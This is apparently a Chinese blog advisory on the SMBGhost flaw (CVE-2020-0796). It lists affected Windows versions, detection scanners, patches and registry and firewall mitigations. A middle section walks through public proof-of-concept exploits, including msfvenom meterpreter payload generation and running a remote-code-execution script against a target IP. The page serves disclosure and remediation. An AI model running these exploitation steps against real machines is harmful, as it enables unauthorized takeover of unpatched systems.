SMB漏洞修复

通告背景

2020年3月11日,某国外安全公司发布了一个近期微软安全补丁包所涉及漏洞的综述,其中谈到了一个威胁等级被标记为Critical的SMB服务远程代码执行漏洞(CVE-2020-0796),攻击者可以利用此漏洞远程无需用户验证通过发送构造特殊的恶意数据导致在目标系统上执行恶意代码,从而获取机器的完全控制。此漏洞主要影响支持SMBv3.0的设备,理论上存在蠕虫化的可能性。

漏洞描述

漏洞存在于Windows的SMBv3.0(文件共享与打印服务)中,目前技术细节暂不公布,对于漏洞的利用无需用户验证,通过构造恶意请求即可触发导致任意代码执行,系统受到非授权控制。

影响面评估

此漏洞主要影响SMBv3.0协议,目前支持该协议的设备包括Windows 8、Windows 8.1、Windows 10、Windows Server 2012 和 Windows Server 2016,但是从微软的通告来看受影响目标主要是Win10系统,考虑到相关设备的数量级,潜在威胁较大。

受影响的Windows操作系统版本

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)


漏洞检测篇

git 脚本检测:

GitHub - ly4k/SMBGhost: Scanner for CVE-2020-0796 - SMBv3 RCE
检测返回的数据包中SMB压缩版本,这种检测方式打过补丁依然会误报。

python scanner.py <IP>

奇安信检测工具:

http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
适用于局域网批量检测,快速查找未打补丁的机器。

腾讯电脑管家 SMB 漏洞修复工具:

http://dlied6.qq.com/invc/QQPatch/QuickFix_SMB0796.exe
适用于个人用户检测,一键快速检测和修复。

漏洞利用篇

蓝屏 PoC

GitHub - eerykitty/CVE-2020-0796-PoC: PoC for triggering buffer overflow via CVE-2020-0796

使用两台虚拟机作为漏洞演示,一台win10 1903版本,一台是Kali Linux。

python3 CVE-2020-0796.py <IP>

本地提权 PoC

GitHub - danigargu/CVE-2020-0796: CVE-2020-0796 - Windows SMBv3 LPE exploit #SMBGhost
本地普通用户Bypass执行提权exp后弹出cmd窗口,成功获取system权限。

远程利用 PoC

GitHub - chompie1337/SMBGhost_RCE_PoC

漏洞演示过程:

1、使用msfvenom生成payload

msfvenom -p windows/x64/meterpreter/bind_tcp lport=1234 -f py -o evil.py

2、将evil.py 生成的code,替换到exploit.py的USER_PAYLOAD参数,并把参数buf改为USER_PAYLOAD。

root@kali:~# git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git

3、运行exploit.py

python3 exploit.py -ip 192.168.172.128

4、启动msf监听本地端口(PS:监听端口如果一直收不到shell,可重新运行一次。)

msf5 > use exploit/multi/handler

修复方法

1. 补丁

微软已经发布了此漏洞的安全补丁,访问如下链接:
Security Update Guide - Microsoft Security Response Center

方法一:给对应的系统打微软出的最新补丁

系统类型 介绍 下载链接
Windows 10 Version 1903 for 32-bit Systems KB4551762介绍 下载
Windows 10 Version 1903 for ARM64-based Systems KB4551762介绍 下载
Windows 10 Version 1903 for x64-based Systems KB4551762介绍 下载
Windows 10 Version 1909 for 32-bit Systems KB4551762介绍 下载
Windows 10 Version 1909 for ARM64-based Systems KB4551762介绍 下载
Windows 10 Version 1909 for x64-based Systems KB4551762介绍 下载
Windows Server, version 1903 (Server Core installation) KB4551762介绍 下载
Windows Server, version 1909 (Server Core installation) KB4551762介绍 下载

2. 临时解决方案

如果暂时无法安装补丁,微软当前建议按如下临时解决方案处理:

方法二: 禁用SMBv3 压缩
禁用SMB 3.0的压缩功能,是否使用需要结合自己业务进行判断。
使用以下PowerShell命令禁用压缩功能,以阻止未经身份验证的攻击者利用SMBv3 服务器的漏洞。
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force
用户可通过以下PowerShell命令撤销禁用压缩功能
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 0 -Force
注:利用以上命令进行更改后,无需重启即可生效;该方法仅可用来防护针对SMB服务器(SMB SERVER)的攻击,无法对SMB客户端(SMB Client)进行防护。

方法三:设置防火墙策略关闭相关端口
SMB的TCP 445端口
NetBIOS名称解析的UDP 137端口
NetBIOS数据图服务的UDP 138端口
NetBIOS会话服务的TCP 139端口

方法四:通过 IP 安全策略屏蔽危险端口, bat 执行添加防火墙策略,关闭危险服务
您浏览的页面不存在,请检查页面地址是否正确!

修复

微软目前给出变通方法:禁用SMBv3的压缩功能或在防火墙禁止445端口

PowerShell禁用SMBv3压缩功能:

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force

PowerShell重新启用SMBv3压缩功能:

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 0 -Force

相关推荐
网安墨雨11 分钟前
常用网络协议
网络·网络协议
Tlzns14 分钟前
Linux网络——UDP的运用
linux·网络·udp
丘狸尾26 分钟前
[cisco 模拟器] ftp服务器配置
android·运维·服务器
黑客老陈34 分钟前
新手小白如何挖掘cnvd通用漏洞之存储xss漏洞(利用xss钓鱼)
运维·服务器·前端·网络·安全·web3·xss
大猫和小黄37 分钟前
Windows、CentOS环境下搭建自己的版本管理资料库:GitBlit
linux·服务器·windows·git
Joyner201841 分钟前
【Linux】ubuntu通过远程命令行启动桌面应用
linux·服务器·ubuntu
ghostwritten44 分钟前
Linux Swap: 深入解析 mkswap, mkfs.swap, 和 swapon
linux·运维·服务器
我是唐青枫1 小时前
Linux xargs 命令使用教程
linux·运维·服务器
gallonyin1 小时前
【监控】夜莺监控系统各环节资源压力分析
运维·服务器
Schwertlilien1 小时前
图像处理-Ch6-彩色图像处理
windows